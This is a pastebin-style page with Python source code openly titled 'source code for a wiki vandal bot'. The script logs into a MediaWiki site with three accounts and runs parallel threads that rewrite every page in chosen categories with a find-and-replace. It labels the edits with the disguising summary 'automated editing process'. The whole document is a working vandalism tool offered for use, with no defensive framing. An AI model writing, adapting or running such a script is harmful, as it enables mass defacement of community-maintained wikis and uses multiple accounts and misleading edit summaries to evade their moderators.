
source code for a wiki vandal bot
By: a guest on
Nov 28th, 2014 | syntax:
Python | size: 1.36 KB | views:
171 | expires: Never
import mwclient
import threading
listusers = list()
listcats = list()
addrsa = raw_input('address > ')
addrsb = raw_input('path to api.php >')
for x in range(3):
users = raw_input('Username> ')
listusers.append(users)
pswd = raw_input('password> ')
for x in range(3):
categry = raw_input('Category >')
listcats.append(categry)
str1 = raw_input('String to find >')
str2 = raw_input('String to replace with > ')
def mean(username, category):
site = mwclient.Site(str(addrsa), path=str(addrsb))
try:
site.login(username,str(pswd))
except:
print('exception...')
for page in site.Categories[category]:
print('Currently editing '+page.page_title)
try:
text = page.text()
text = text.replace(str1, str2)
page.save(text, summary='automated editing process')
except:
print('Unknown exception')
def murderthatwiki():
instance1=None
instance2=None
instance3=None
instance1 = threading.Thread(group=None,target=mean,name=instance1,args=(listusers[0],listcats[0]))
instance2 = threading.Thread(group=None,target=mean,name=instance2,args=(listusers[1],listcats[1]))
instance3 = threading.Thread(group=None,target=mean,name=instance3,args=(listusers[2],listcats[2]))
instance1.start()
instance2.start()
instance3.start()